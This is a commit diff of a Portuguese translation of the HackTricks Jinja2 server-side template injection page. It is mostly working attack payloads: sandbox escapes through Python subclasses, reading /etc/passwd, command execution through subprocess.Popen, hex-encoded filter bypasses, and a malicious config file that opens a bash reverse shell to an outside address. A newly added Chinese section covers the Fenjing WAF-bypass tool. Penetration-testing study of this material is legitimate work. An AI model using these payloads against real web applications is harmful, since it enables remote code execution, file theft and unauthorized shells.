Translated ['pentesting-web/ssti-server-side-template-injection/jinja2-s

This commit is contained in:
Translator 2024-06-04 22:08:07 +00:00
parent 78a7e9e1c1
commit ddab5ca6f8

View file

@ -6,7 +6,7 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -15,7 +15,6 @@ Outras maneiras de apoiar o HackTricks:
</details>
## **Lab**
```python
from flask import Flask, request, render_template_string
@ -31,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
### **Declaração de Depuração**
Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará disponível para exibir o contexto atual, bem como os filtros e testes disponíveis. Isso é útil para ver o que está disponível para usar no modelo sem configurar um depurador.
```python
<pre>
@ -48,9 +45,9 @@ Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará dispon
</pre>
```
### **Exibir todas as variáveis de configuração**
### **Despejar todas as variáveis de configuração**
Fonte: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
```python
{{ config }} #In these object you can find all the configured env variables
@ -64,16 +61,14 @@ Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará dispon
```
## **Injeção de Jinja**
## **Injeção Jinja**
Em primeiro lugar, em uma injeção Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo de execução regular do Python. Para fazer isso, você precisa **abusar de objetos** que são **do** **ambiente não-sandboxed mas são acessíveis a partir do sandbox**.
Primeiramente, em uma injeção de Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo regular de execução do Python. Para fazer isso, você precisa **abusar de objetos** que são **do** ambiente **não-sandboxed, mas são acessíveis a partir do sandbox**.
### Acessando Objetos Globais
Por exemplo, no código `render_template("hello.html", username=username, email=email)` os objetos username e email **vêm do ambiente Python não-sanboxed** e serão **acessíveis** dentro do **ambiente sandboxed**.\
Além disso, existem outros objetos que serão **sempre acessíveis a partir do ambiente sandboxed**, estes são:
```
[]
''
@ -82,15 +77,13 @@ dict
config
request
```
### Recuperando \<class 'object'>
Em seguida, a partir desses objetos, precisamos chegar à classe: **`<class 'object'>`** para tentar **recuperar** as **classes** definidas. Isso ocorre porque a partir desse objeto podemos chamar o método **`__subclasses__`** e **acessar todas as classes do ambiente python não isolado**.
Para acessar essa **classe de objeto**, você precisa **acessar um objeto de classe** e então acessar **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. E então, **após** alcançar essa **classe de objeto**, nós **chamamos** **`__subclasses__()`**.
Verifique estes exemplos:
Para acessar essa **classe de objeto**, você precisa **acessar um objeto de classe** e então acessar **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. E então, **depois** de alcançar essa **classe de objeto**, nós **chamamos** **`__subclasses__()`**.
Verifique esses exemplos:
```python
# To access a class object
[].__class__
@ -130,7 +123,6 @@ dict.__mro__[-1]
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### Escapando RCE
**Tendo recuperado** `<class 'object'>` e chamado `__subclasses__` agora podemos usar essas classes para ler e escrever arquivos e executar código.
@ -138,15 +130,12 @@ dict.__mro__[-1]
A chamada para `__subclasses__` nos deu a oportunidade de **acessar centenas de novas funções**, ficaremos felizes apenas acessando a **classe de arquivo** para **ler/escrever arquivos** ou qualquer classe com acesso a uma classe que **permite executar comandos** (como `os`).
**Ler/Escrever arquivo remoto**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**Execução Remota de Código (RCE)**
**Execução de Código Remoto (RCE)**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -169,7 +158,6 @@ A chamada para `__subclasses__` nos deu a oportunidade de **acessar centenas de
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
Para aprender sobre **mais classes** que você pode usar para **escapar**, você pode **verificar**:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
@ -182,7 +170,6 @@ Para aprender sobre **mais classes** que você pode usar para **escapar**, você
Esses bypasses nos permitirão **acessar** os **atributos** dos objetos **sem usar alguns caracteres**.\
Já vimos alguns desses bypasses nos exemplos anteriores, mas vamos resumi-los aqui:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -210,7 +197,6 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
* [**Retorne aqui para mais opções de acesso a um objeto global**](jinja2-ssti.md#acessando-objetos-globais)
* [**Retorne aqui para mais opções de acesso à classe do objeto**](jinja2-ssti.md#recuperando-objeto-da-classe)
* [**Leia isso para obter RCE sem a classe do objeto**](jinja2-ssti.md#injecao-jinja-sem-objeto-da-classe)
@ -218,23 +204,18 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
**Evitando a codificação HTML**
Por padrão, o Flask codifica HTML dentro de um modelo por motivos de segurança:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**O filtro `safe`** nos permite injetar JavaScript e HTML na página **sem** que ele seja **codificado em HTML**, assim:
**O filtro `safe`** nos permite injetar JavaScript e HTML na página **sem** que ele seja **codificado em HTML**, como este exemplo:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**Execução de código remoto ao escrever um arquivo de configuração malicioso.**
**RCE ao escrever um arquivo de configuração malicioso.**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -245,11 +226,9 @@ Por padrão, o Flask codifica HTML dentro de um modelo por motivos de segurança
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## Sem vários caracteres
Sem **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
@ -257,14 +236,12 @@ Sem **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```
## Injeção de Jinja sem **\<class 'object'>**
A partir dos [**objetos globais**](jinja2-ssti.md#accessing-global-objects), há outra maneira de obter **RCE sem usar essa classe.**\
Se você conseguir acessar qualquer **função** desses objetos globais, poderá acessar **`__globals__.__builtins__`** e a partir daí a **RCE** é muito **simples**.
Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em qualquer **outro** objeto global interessante ao qual você tenha acesso com:
Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em qualquer **outro** objeto **global** interessante ao qual você tenha acesso com:
```bash
{{ request.__class__.__dict__ }}
- application
@ -284,9 +261,7 @@ Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em
# You can iterate through children objects to find more
```
Uma vez que você tenha encontrado algumas funções, você pode recuperar os builtins com:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
@ -307,7 +282,33 @@ Uma vez que você tenha encontrado algumas funções, você pode recuperar os bu
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器搜索绕过并提供交互式控制台。
```
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## Referências
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
@ -321,8 +322,8 @@ Uma vez que você tenha encontrado algumas funções, você pode recuperar os bu
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).